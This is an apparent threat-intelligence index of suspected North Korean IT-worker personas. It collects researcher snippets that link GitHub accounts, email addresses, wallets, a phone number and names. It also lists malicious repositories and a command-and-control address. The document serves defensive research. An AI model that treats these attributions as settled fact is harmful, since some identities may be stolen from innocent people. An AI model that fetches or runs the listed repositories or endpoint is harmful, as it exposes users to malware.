each of the addresses this index holds from ketman.org's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. AtosLABs holds atos980411@gmail.com (100); Moony6789 holds danakimoto319@gmail.com (100). Where the address came from a report, the report is https://www.ketman.org/one-north-korean-four-north-koreans.html. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…Chris Yu - Bryan Cho - atroobj - bugarnet - t.me/atroobj - atroboj@gmail.com - github.com/atroboj • [Archive](https://archive.ph/x0LMf) - github.com/bugarnet (2021, Despace) - 0x3b9a870c24905256de10863cb360f4b93c7cc60f -…","…Ezra Walmsley Raymundo Curiel Malicious GitHub Repositories # https://github.com/lukobogdan47/empty-array-validator https://github.com/austin-a3/twitterapis Malicious Bitbucket Repositories # https://bitbucket.org/events-utils/launch-events-utils/src/master/ Command and Control (C2)…","…2 twitterapis taras_lakhai 2025-03-13 20:32:06 https://github.com/austin-a3/twitterapis 45.61.151.71:1224/client/9/906 [표 7] GitHub 저장소를 참조하는 악성 npm 패키지 목록 [그림 3] package.json 내 GitHub 참조 코드 [그림 4]…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from tayvano (lazarus-bluenoroff-research)'s reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. swordEdge holds akioyamadera46@gmail.com (100); dannyboy-820 holds alexdavisgender@gmail.com (100); babakwethr holds babakwethr@gmail.com (100); Bighero0122 holds bighero0122@gmail.com (100); Oleksandr0811 holds blockchain4webdev@gmail.com (85); userspace494 holds blockchainstar18@gmail.com (37); chikonakamura613 holds chikonakamura613@gmail.com (100); blizzard-0 holds coronarider01@gmail.com (100); cryptobyte3 holds cryptobyte3@gmail.com (100). Where the address came from a report, the report is https://raw.githubusercontent.com/tayvano/lazarus-bluenoroff-research/main/dprk-it-workers/readme.md. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Socket.dev's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. byteFogel1 holds decovenjamin@gmail.com (1); dl249995 holds dl249995@gmail.com (2); michaelreth holds garavitovillamilj@gmail.com (5); GoldenRhynoDev holds goldenrhynodev@gmail.com (73); guograce902-marketplacecore holds guograce902@gmail.com (5); balocones holds iandavies2313@gmail.com (20). Where the address came from a report, the report is https://socket.dev/blog/north-korea-contagious-interview-campaign-338-malicious-npm-packages. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…mhcrocky@gmail.com - teacheraccount@gmail.com - thinkd.developer@gmail.com - weiyang.jin1202@gmail.com - zuhalvalmerikh@gmail.com - github.com/batmanst - github.com/bigbossphch - github.com/Blue630 - github.com/dotmaker619 - github.com/EliteDev619 - github.com/goldenpig951204 -…","…![](./benjamin-nguyen.jpg) - https://x.com/zachxbt/status/1940388827392344261 #### Andy Bell - bbshark.eth - github.com/bbshark99 • [Archive](https://archive.ph/X4l1l) - x.com/kevin83191687 - 0x241d2b20f2c26a2541a0f121d6a33c29cb4cfe69 - ![](./andy-bell.jpg) -…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from The Raven File's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. mixmaster429 holds ryancharley429@gmail.com (3); sakura460691 holds sakura460691@gmail.com (1); Santa116 holds santabaner1223@gmail.com (14); satokihanada holds satoki0212@gmail.com (100); GarySchaeferg12345 holds schaeferg742@gmail.com (100); scoderacker holds scoderacker@gmail.com (100); techbc1221 holds secretsudev@gmail.com (100); WB-15 holds seniordev1005@gmail.com (100); seniordeveloper08 holds seniordev1008@gmail.com (100); meronin holds seniordev715@gmail.com (100); pingtinker holds seniordev731@gmail.com (13); sunshine2329 holds seniordeveloper00001@gmail.com (100); techsolutionsx holds shadowmaster0419@gmail.com (5); CuteCheet holds shah16016614@gmail.com (55); ShiningDevStar holds shiningstar30320@gmail.com (18); sh-cselet7878 holds shinydev1108@gmail.com (1); BigTail375 holds shorttail375@gmail.com (45); codeteacher330 holds shouldperfect330@gmail.com (43); FAANG-star holds sibiriwolf@gmail.com (100); HollyLankford holds silverwisdom615@gmail.com (1); Superblue045 holds smallant519@gmail.com (8); SmartBigGuru holds smartbigguru@gmail.com (100); ryuta0710 holds smartdevgroupllc@gmail.com (21); SmartTabDev holds smarttabdev@gmail.com (21); evertonpassos915 holds smartwebdev0119@gmail.com (100); SmileAlways1125 holds smilealways1125@gmail.com (7); TechStart1022 holds snow1022127@gmail.com (57); SnowRobert holds snowrobert0512@gmail.com (100); WebBigStar holds softangel0080@gmail.com (9); softmax0112 holds softmax0112@gmail.com (100); FullStackDEV0701 holds starecomdev@gmail.com (1); serhii-stepanenko holds stepanenkoserhii94@gmail.com (11); rockdev055 holds steve264225@gmail.com (100); devconductor125 holds stresscontroller9@gmail.com (100); pooh1218 holds strongdev1218@gmail.com (31); BrisOK holds sunlight2175@gmail.com (100); cryptolagend1 holds sunny95417@gmail.com (100); svendev888 holds sunshine950101@gmail.com (100); ProgrammeChef holds superbapple0@gmail.com (100); lancer92-rep holds superceo99@gmail.com (4); superdev9012 holds superdev9012@gmail.com (2); cutebear1989 holds superdev919@gmail.com (11); Jone-Ussery holds superdeveloper31@gmail.com (3); rascalchow holds supereaglehunter@gmail.com (100); beauty-force holds superk961106@gmail.com (100); superora0518 holds superora0518@gmail.com (19); superspider579 holds superspider579@gmail.com (79). Where the address came from a report, the report is https://theravenfile.com/2025/08/19/unmasking-dprk-it-workers-email-address-patterns-as-hiring-red-flags/. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…0x.bejaxer - eratos1123 - eratos1122 - cobang - bejaxer - 0x.bejaxer@gmail.com - eratos1123@gmail.com - github.com/cobang - github.com/bejaxer (Name: 0x A.K.) • [Archive](https://web.archive.org/web/20221130173129/https://github.com/bejaxer) - t.me/lcoppn (ID:749123222) -…","…: EduardoLunaq : 2022-10-25T20:04:05Z https: //github.com/SeanJones11 : SeanJones11 : 2022-10-25T20:27:17Z https: //github.com/belbazanas : freedgregory : 2023-01-31T01:01:13Z https: //github.com/jocadefichain : leroma1 : 2023-02-13T18:46:42Z https: //github.com/cristttt :…","…https://github.com/itayplav : EduardoLunaq : 2022-10-25T20:04:05Z https://github.com/SeanJones11 : SeanJones11 : 2022-10-25T20:27:17Z https://github.com/belbazanas : freedgregory : 2023-01-31T01:01:13Z https://github.com/jocadefichain : leroma1 : 2023-02-13T18:46:42Z https://github.com/cristttt :…","…that are no more available:- https://github.com/agronkercishta https://github.com/agronkercishta https://github.com/athenaweb629 https://github.com/best-lucky1030 https://github.com/christiaan93210 https://github.com/DevBeast3800 https://github.com/devking877 NOTE: It is important to note that NOT…","…tedzchow https://github.com/super124dev https://github.com/agronkercishta https://github.com/agronkercishta https://github.com/athenaweb629 https://github.com/best-lucky1030 https://github.com/christiaan93210 https://github.com/DevBeast3800 https://github.com/devking877 OTHER…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from The Raven File's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. ShinySyntax holds kindlyman343423@gmail.com (100); BestFriend1106 holds taichikato1106@gmail.com (100). Where the address came from a report, the report is https://theravenfile.com/2025/08/19/unmasking-dprk-it-workers-email-address-patterns-as-hiring-red-flags/. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…https://github.com/V0410 https://github.com/ImfanAi https://github.com/aidenwong812 https://github.com/brightlystar0117 https://github.com/bestselection18 https://github.com/codepert https://github.com/cryptogru812 https://github.com/deeplus2021 https://github.com/hi-tech-AI…","…connected to multiple accounts under surveillance for suspected links to DPRK IT operations . Among them was: bestselection18 : https://github.com/bestselection18 — previously reported for anomalous activities in GitHub organizations and DAOs . 4.…","…Pete Yama / cryptopunk - Pixelcraft (2022), Munchables (2024) - cryptopunk - cryptopunkclan - x.com/cryptopunkclan - github.com/bestsilvertiger - github.com/brightdragon0719 • [Archive](https://web.archive.org/save/https://github.com/brightdragon0719) -…","…2026-03-01 117z…rQ2E 20 Betfin Poker – Blockchain Integration Skill Test https[://]github.com/BetFin-ProWorkspace/Betfin-Poker 2026-03-01 12ww…G24c 130 Test Requirement https[://]bitbucket.org/notion-dex/ultrax https[://]bitbucket.org/web3_space/novax…","…tps://code.grida.co/ https://cosmichive.com/blog/fullstack-nextjs-ecommerce-2/ https://joiner-for.vercel.app/ https://sakura-70c50.web.app/ https://github.com/bethereumproject/lottery/blob/master/Results.MD (Found DPRK Worker in the Winning List) https://rentbarker.vercel.app/ https://sos-security.vercel.app/ https://treppr.vercel.app/ NOTE…","…tps://code.grida.co/ https://cosmichive.com/blog/fullstack-nextjs-ecommerce-2/ https://joiner-for.vercel.app/ https://sakura-70c50.web.app/ https://github.com/bethereumproject/lottery/blob/master/Results.MD (Found DPRK Worker in the Winning List) https://rentbarker.vercel.app/ https://sos-security.vercel.app/ https://treppr.vercel.app/","…teacheraccount@gmail.com - thinkd.developer@gmail.com - weiyang.jin1202@gmail.com - zuhalvalmerikh@gmail.com - github.com/batmanst - github.com/bigbossphch - github.com/Blue630 - github.com/dotmaker619 - github.com/EliteDev619 - github.com/goldenpig951204 - github.com/green25dev -…","…“Blocknovas skill assessment,” a similar tactic to other malicious lures, which we further detail below. One GitHub user, “Bigrocks918” (https://github.com/bigrocks918) contributed to 4 out of 17 skill assessments, as described below. https://github.com/xorostar/blocknovas-llc-currency-converter-task…","…https://github.com/swdreams https://github.com/toptalhook https://github.com/techeng322 https://github.com/tranguixdev https://github.com/billiedox https://github.com/deeplus2021 Email Addresses lucaschang1127@gmail.com xtinc.exp@gmail.com noahsflood908@gmail.com…","…Instagram: instagram.com/steven228312 * Phone: +1 (470) 621 2757 ----------------- ### Sebastian Robinson * GitHub: https://github.com/BinaryBard-0604 * Portfolio: https://portfolio-sebastian-robinson-74.vercel.app/ * Contains photo of the actor * Photo matches DEV Community photo * DEV…","…(404) - https://x.com/browsercookies/status/1934290466054553751 - ![](./1934290466054553751-1.png) #### Phillip Masaki - github.com/bio1oo1 - t.me/Bio_1001 - https://x.com/browsercookies/status/1934290466054553751 - ![](./1934290466054553751-2.png) #### Thomas Lin -…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from GitLab Threat Intelligence's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. samjannt-beep holds samjannt1211@gmail.com (27); taras-workhub holds scottdavis8188@gmail.com (100); maeno1989 holds shopstar0907@gmail.com (41); silverbead0815 holds silverbead0815@outlook.com (1); webplusai holds smupyknight@outlook.com (100); co-working2 holds snowl3784@gmail.com (1); bittech418 holds star712418@gmail.com (2); t-105 holds starneit105@gmail.com (65); nurlanmen502 holds supernftier@gmail.com (100). Where the address came from a report, the report is https://about.gitlab.com/blog/gitlab-threat-intelligence-reveals-north-korean-tradecraft/. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…2023-09-07 $5,498 #### Peculiar Joseph - Joseph D Alchemist - josephpeculiar - bizmindx - josephpeculiar.com - bizmindx@gmail.com - github.com/bizmindx #### Sam Ayorinde - TheBlockOfChain - ayorindesam2 - Sam-Devs - _SamAyorinde - ayorindesam2@gmail.com -…","…on Safe 0x0f4 #### Victor Hazard - vihazard430@gmail.com - hazardvictor@hotmail.com - linkedin.com/in/victor-hazard-77ba40305 - github.com/black02430horse - github.com/hazardvictor - happy3guy@gmail.com - victordev67@gmail.com - 0xefcb06b5ea58fb451c64ec278d957f4ebfd26df7 -…","…here:- https://github.com/alchemist0803 https://github.com/SkyCaptainess https://github.com/apollo000104 https://github.com/branchdev98 https://github.com/BlackSpider8391 https://github.com/rider0211 https://github.com/AringoldX https://github.com/CrazyPassion218 https://github.com/devmad119 :…","…unveiled/ https://github.com/alchemist0803 https://github.com/SkyCaptainess https://github.com/apollo000104 https://github.com/branchdev98 https://github.com/BlackSpider8391 https://github.com/rider0211 https://github.com/AringoldX https://github.com/CrazyPassion218 https://github.com/devmad119 :…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from tayvano (lazarus-bluenoroff-research)'s reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. talentdev6 holds talentdev610@gmail.com (24); blockchainSupport1125 holds topdeveloper01234@gmail.com (100); mvpcrazy holds toptalent48@gmail.com (100). Where the address came from a report, the report is https://raw.githubusercontent.com/tayvano/lazarus-bluenoroff-research/main/dprk-it-workers/readme.md. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…those of accounts previously identified as linked to Lazarus. In this same account of Light-fury, in his followers the account: https://github.com/Blockchainyou In his followers, we can see the accounts we already discovered: Press enter or click to view image in full size Likewise, the…","…0xeabeb8D76E27248eC35333bAdaad9219D8f57973 - ![](./X_2025-11-22_woof_decentra.png) ### Victor Lee - 2024 - victor3290lee@gmail.com - github.com/blue32captain - x.com/blue32captain - 0x50d6b6cf0066a0d3ebf321493da2e77cc40ddd8c - ![](./X_2025-11-22_blue32captain.png) ### Santokh Veenasenan -…","…thinkd.developer@gmail.com - weiyang.jin1202@gmail.com - zuhalvalmerikh@gmail.com - github.com/batmanst - github.com/bigbossphch - github.com/Blue630 - github.com/dotmaker619 - github.com/EliteDev619 - github.com/goldenpig951204 - github.com/green25dev - github.com/incredigroup -…","…github.com/0xlocker • [Archive](https://web.archive.org/web/20210309195053/https://github.com/0xlocker) - github.com/blueChamel • [Archive](https://web.archive.org/web/20250827055005/https://github.com/blueChamel) - github.com/ethlocker (name: Hack the Moon!) •…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from The Raven File's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. topdevhere623 holds leonmax0623@gmail.com (100); leyr1112 holds leyr1114@gmail.com (100); psolver-trip holds lighteye1234@gmail.com (5); LionelPerrault holds lionelperrault0616@gmail.com (100); codebyluckyman holds lm8361616@gmail.com (8); Ld-star holds lodestar0905@gmail.com (100); snow-dev-1004 holds loganpoter1004@gmail.com (1); clintonbrown919 holds lollacrista@gmail.com (100); bluedev41 holds lollanoyer@gmail.com (100); workamiracle holds lonelyguypiny@gmail.com (100); boss-minion holds lorenzoconti0917@gmail.com (21); PixelPanther714 holds louisrobinson246@gmail.com (100); lucky-baymax holds luckybaymax9518@gmail.com (11); DavidTFlores holds luckycrocodile2261@gmail.com (100); cyber1129 holds luckycyber1129@gmail.com (100); robinsoncrusio holds luckydev2350@gmail.com (100); FairyPigDev holds luislee3108@gmail.com (76); omardiaz202 holds makpushkin1224@gmail.com (100); lodestar-95 holds maksymberezhnoy95@gmail.com (100); Mamonimino205 holds mamonimino205@gmail.com (7); madspace1112 holds markovicstef998@gmail.com (27); royalcrystalking holds martsangel017@gmail.com (14); stoller85 holds mastering0429@gmail.com (100); mariiazhelezniak96 holds matchingcube@gmail.com (1); Dreamdevdev holds maxivinc0507@gmail.com (100); maybe-but-fly holds maybex66@gmail.com (100); CTH-0724 holds milelifespin@gmail.com (2). Where the address came from a report, the report is https://theravenfile.com/2025/08/19/unmasking-dprk-it-workers-email-address-patterns-as-hiring-red-flags/. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…https://github.com/Achilleus0612 https://github.com/adminGit71 https://github.com/aimachieve https://github.com/alchemist0404 https://github.com/Blux61 https://github.com/boldempha https://github.com/Bravodev88 https://github.com/bremaster https://github.com/caddo229 https://github.com…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Group-IB's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. Blux612 holds bluxboy80@gmail.com (6). Where the address came from a report, the report is https://www.group-ib.com/blog/dprk-fake-remote-developers/. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…github.com/anatoli-derese/a2sv-excercise v0.0.0-20240805074755-5adbbc600635 anatoli-derese Nextron github.com/bm-197/chill v0.0.0-20241216030053-8573b6044fba bm-197 Nextron github.com/dexbotsdev/uniswap-v2-v3-arbitrage…","…m/Achilleus0612 https://github.com/adminGit71 https://github.com/aimachieve https://github.com/alchemist0404 https://github.com/Blux61 https://github.com/boldempha https://github.com/Bravodev88 https://github.com/bremaster https://github.com/caddo229 https://github.com/caddoSmith229 https://github…","…GitHub repository https://github.com/veneliteus-dev/casino-game/ https://github.com/brahmabit/be_challenge_blockchain/ https://github.com/vnvstore/funtico-labs-assessment-15/ https://github.com/samuelmeadowbiankah/felina/ https://github.com/nhonlvsoict/sk…","…may find the complete list here:- https://github.com/alchemist0803 https://github.com/SkyCaptainess https://github.com/apollo000104 https://github.com/branchdev98 https://github.com/BlackSpider8391 https://github.com/rider0211 https://github.com/AringoldX https://github.com/CrazyPassion218 https://git…","…com/2025/08/28/dprk-it-workers-unveiled/ https://github.com/alchemist0803 https://github.com/SkyCaptainess https://github.com/apollo000104 https://github.com/branchdev98 https://github.com/BlackSpider8391 https://github.com/rider0211 https://github.com/AringoldX https://github.com/CrazyPassion218 https://git…","The post of 12 November 2023 follows a developer persona working for Japanese clients under the handle bravemaster619 and the name Liyou Ding, through a GitHub account removed by 30 October 2023, a LinkedIn profile deleted by the same date and a Hashnode blog, and concludes that the persona is most likely a North Korean IT worker. The LinkedIn profile is not carried because the post gives no address for it; the author's own contact address is not an indicator.","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Flare's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. braverdever holds tinydever@gmail.com (100). Where the address came from a report, the report is https://flare.io/learn/resources/north-korean-infiltrator-threat. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…b.com/adminGit71 https://github.com/aimachieve https://github.com/alchemist0404 https://github.com/Blux61 https://github.com/boldempha https://github.com/Bravodev88 https://github.com/bremaster https://github.com/caddo229 https://github.com/caddoSmith229 https://github.com/chase-allen-tech https://…","…nevermindhim - verytinydever - scott.brown0629 - scott.brown0629@gmail.com - what.a.fabulous1@gmail.com - sct.brown0629@gmail.com - github.com/breavedev - github.com/nevermindhim - github.com/verytinydever - linkedin.com/in/scott-brown-b947ba29a - linkedin.com/in/scott-brown-813445279 -…","…b.com/aimachieve https://github.com/alchemist0404 https://github.com/Blux61 https://github.com/boldempha https://github.com/Bravodev88 https://github.com/bremaster https://github.com/caddo229 https://github.com/caddoSmith229 https://github.com/chase-allen-tech https://github.com/cybersage14 https:…","…yatsukalbert@outlook.com - talentdev610@gmail.com - leonpower123@outlook.com - oskardev0112@gmail.com - 88yurchak@gmail.com - github.com/brent-jeremy - github.com/Smart-Dev-0205 - github.com/talented-blockchain-dev - github.com/squirdev - github.com/pedrodiaz417 -…","…rolocalize.com yatsukalbert@outlook.com talentdev610@gmail.com leonpower123@outlook.com oskardev0112@gmail.com 88yurchak@gmail.com Github: https://github.com/brent-jeremy https://github.com/Smart-Dev-0205 https://github.com/talented-blockchain-dev https://github.com/squirdev https://github.com/pedrodiaz417 ht…","…mit/c91df00c05ca96ad6f608870e4865c528be2906f.patch URL:https//github.com/buddy0323 URL:https//github.com/buddy0323/bright0220 URL:https//github.com/bright0220 URL:https//github.com/ghost URL:https//github.com/NeymaFullStack URL:https//github.com/7codewizard URL:https//calendly.com/7codewizard/…","…Pixelcraft (2022), Munchables (2024) - cryptopunk - cryptopunkclan - x.com/cryptopunkclan - github.com/bestsilvertiger - github.com/brightdragon0719 • [Archive](https://web.archive.org/save/https://github.com/brightdragon0719) - ![](./munchables-pete-yama-brightdragon0719.jpeg) ####…","…https://github.com/StealthCoder1109 https://github.com/V0410 https://github.com/ImfanAi https://github.com/aidenwong812 https://github.com/brightlystar0117 https://github.com/bestselection18 https://github.com/codepert https://github.com/cryptogru812 https://github.com/deeplus2021…","…![](./1934280908103884850-1.png) #### Louise Egan - x.com/PinnacleFTSO - t.me/pacle002 - github.com/Brilliantwebdev1125 (404/down) - linkedin.com/in/louis-egan/ (404/down) - https://x.com/browsercookies/status/1934280908103884850 -…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from tayvano (lazarus-bluenoroff-research)'s reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. novustch holds mirakulizicc@gmail.com (100); milkdev11 holds mmarjs22@gmail.com (94); ren-418 holds mrsteevtvw418@gmail.com (100); brown-qs holds neoprince1992@gmail.com (100); Myrmekes-a holds nightfurry090@gmail.com (3); top-talent-developer holds onetouch0525@gmail.com (77); Samurai1206 holds oskardev0112@gmail.com (2). Where the address came from a report, the report is https://raw.githubusercontent.com/tayvano/lazarus-bluenoroff-research/main/dprk-it-workers/readme.md. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","The dataset's LargeFakeNetworks folder of 23 August 2024 keeps only the accounts of highest interest from the network Heiner García published as suspicious activity associated with Lazarus Group.","…https://github.com/WhiteRabbit130 https://github.com/WebRabbit1796 https://github.com/supercoder-0923 https://github.com/hudesdev https://github.com/bstar0406 Given this context of an interconnected network of GitHub accounts that share several characteristics and are linked to a threat actor,…","…GitHub 2: https://web.archive.org/web/20240715163534/github.com/BTC415 * Profile photo matches marksantiago02 * Also used by Steven Leal * GitHub 3: https://github.com/luckypenny1632333 * Display Name: Lucky…","…+ Bill Tovitt - 2024 - One dev, one \"artist\", scammed - btcwhiz - abcd_0621_ - hunter0409 - building_jk - x.com/abcd_0621_ - github.com/btcwhiz - t.me/hunter0409 (ID: 5031331438) • ([Messages](./user-5031331438-@hunter0409-munchables-pete-yama.txt)) -…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Socket's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. BucketSquadFan holds alexandercruciata11@gmail.com (64); crimson1023 holds c258789456@gmail.com (54); crouchtomy626 holds crouchtomy@gmail.com (11). Where the address came from a report, the report is https://socket.dev/blog/contagious-interview-campaign-escalates-67-malicious-npm-packages https://socket.dev/blog/lazarus-expands-malicious-npm-campaign-11-new-packages-add-malware-loaders-and-bitbucket. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…2026 new Suspicious GitHub Personas and DPRK IT Worker Activity Patterns github.com/fullstackdev0110 · github.com/reo0603 · github.com/buddy0323 This report documents (3) GitHub accounts showing indicators consistent with DPRK IT worker activity.…","…Yu - Bryan Cho - atroobj - bugarnet - t.me/atroobj - atroboj@gmail.com - github.com/atroboj • [Archive](https://archive.ph/x0LMf) - github.com/bugarnet (2021, Despace) - 0x3b9a870c24905256de10863cb360f4b93c7cc60f - 0xc2b2a9c05740eeb7ee7ba7eb3ab11ec8bebcb1d1 -…","…eugene001127 cluster github.com/simplecode1996-lab simplecode1996 email cluster github.com/winner7784291 Taiga Fukuda persona github.com/buildwithria varduhimarieta email / flagged account github.com/TechAIAgent Kolin Kojima hub, follows danielfounder github.com/Agent-Dev-Well…","…![](./X_2025-11-22_ggsofter.png) #### Sandy Nguyen - xgracias - smarterdegen.eth - bullishgopher - x.com/bullishgopher - github.com/bullishgopher • [Archive](https://web.archive.org/web/20231205224337/https://github.com/bullishgopher) - https://linkedin.com/in/tkcong/…","…* Profile assets and their hyperlinks out match Steven's and Top329's * Minor changes between the three * https://github.com/butter1011 * Forked repos match others of note * First commit of devstorm23 * https://github.com/camronrohan030303 * Thematic \"VR headset woman\"…","…| Payments demo | realfraction (sub-shape D) | L | | [BVSLabs/blockchain-voting-system](https://github.com/BVSLabs/blockchain-voting-system) | Blockchain voting | realfraction (sub-shape E; cross-gen with AjunaVerse-earlier file path) | L | |…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index already holds under named personas and researcher dossiers, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. JohsuaDev holds dev@ninjadevllc.com (21); ecomdevsolutions holds lucas@bluestout.com (100); codetechie-G holds nickdev0118@gmail.com (30); kindsecret holds forever.xfactor@gmail.com (98); William-toptal-dev holds rainstorm.exp@gmail.com (100); Rom84U holds yamamotozunki0815@gmail.com (5); topi-debug holds takutic.tech518@gmail.com (1); LeroyS041 holds dounanpar@gmail.com (100); xiaoxinlou holds kstar0102@gmail.com (58); meonomoli1978 holds elegant.idn65@gmail.com (9); ByteBuddy1023 holds bitcrusher1023@gmail.com (6). An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…ub.com/alchemist0404 https://github.com/Blux61 https://github.com/boldempha https://github.com/Bravodev88 https://github.com/bremaster https://github.com/caddo229 https://github.com/caddoSmith229 https://github.com/chase-allen-tech https://github.com/cybersage14 https://github.com/Dejan-Teofilovic…","…/github.com/Blux61 https://github.com/boldempha https://github.com/Bravodev88 https://github.com/bremaster https://github.com/caddo229 https://github.com/caddoSmith229 https://github.com/chase-allen-tech https://github.com/cybersage14 https://github.com/Dejan-Teofilovic https://github.com/deterrionc h…","…Wong Shao Onn - 0xjsmart - call-by - jp-smart - wewecalibrate - joshupgig - github.com/call-by - github.com/wewecalibrate - github.com/jp-smart • [Archive](https://archive.ph/grqjk) - joshupgig@gmail.com -…","…github.com/Hiccup19940325 github.com/neverm25 github.com/seosigoto github.com/JCollinsX github.com/mtfuji25 github.com/supermutexc github.com/call-by Persona Names: Seo Kiwon Seo Sigoto Jenson Collins Kazune Takeda Joe Hisaishi George Takeo Kei Nakano Steven Chen Lucas Steve…","…hughnolan88@gmail.com - deliminallimited.ws@outlook.com - galaxy85126@gmail.com - leopawel65@gmail.com - github.com/peterz-codes - github.com/camonanesi - github.com/wildwolf085 - github.com/leopawel - t.me/komonado (ID: 1017960142) • ([Messages](./user-1017960142-@komonado.txt)) -…","…m hughnolan88@gmail.com deliminallimited.ws@outlook.com galaxy85126@gmail.com leopawel65@gmail.com Github: https://github.com/peterz-codes https://github.com/camonanesi https://github.com/wildwolf085 https://github.com/leopawel Telegram: komonado Hiring…","…* Minor changes between the three * https://github.com/butter1011 * Forked repos match others of note * First commit of devstorm23 * https://github.com/camronrohan030303 * Thematic \"VR headset woman\" profile photo * Forked repos match others of note * https://github.com/gusthaley0002221 * Thematic \"VR…","…After checking the followers of ororopickpocket, there are some accounts, for example: https://github.com/capitalist42 https://github.com/capitalist42 After checking the followers of capitalist42, we can see some accounts we already identified: Press enter or click to view image in…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Open Source Malware's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. CapsuleLabs-lgtm holds capcapsule3@gmail.com (1). Where the address came from a report, the report is https://opensourcemalware.com/blog/contagious-interview-vscode. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…nikkhielseath <sethnikhil74@gmail.com> Domains: - vscode-config.vercel.app ## Variant two - June 5, 2025 - Unique Identifier: flag=6 github.com/CapsuleLabs-lgtml/Coin-ICO #### Notes: This is the third oldest variant by repo age, but it appears as though this was a older contagious interview variant, but the…","…Markdown GitHub account identified making initial commits to other repositories containing malicious code https[ :// ]github.com/carlotalentengine-sketch Markdown JSON Storage URLs https[ :// ]jsonkeeper.com/b/GNOX4 https[ :// ]jsonkeeper.com/b/IARGW https[ ://…","…s/react/issues/190 URL:https//github.com/dreamcoder75 URL:https//github.com/AIDevMonster URL:https//github.com/whiteghostDev URL:https//github.com/cedev935 URL:https//github.com/green52199 URL:https//github.com/CryptoTop1111 URL:https//github.com/secretsuperstar1109 URL:https//github.com/ch…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from kmsec.uk's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. Komorebi-rc holds business0507i@gmail.com (18); chain-leaddev holds businesswork1537@outlook.com (2); christophercruz91815 holds christophercruz91815@gmail.com (3). Where the address came from a report, the report is https://dprk-research.kmsec.uk. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…C; inferred) | (inferred sibling on confirmed-operator-owned account; loader presence not directly verified) | | [Chainbits1/StockX](https://github.com/Chainbits1/StockX) | StockX PoC | realfraction (sub-shape C) | L | | 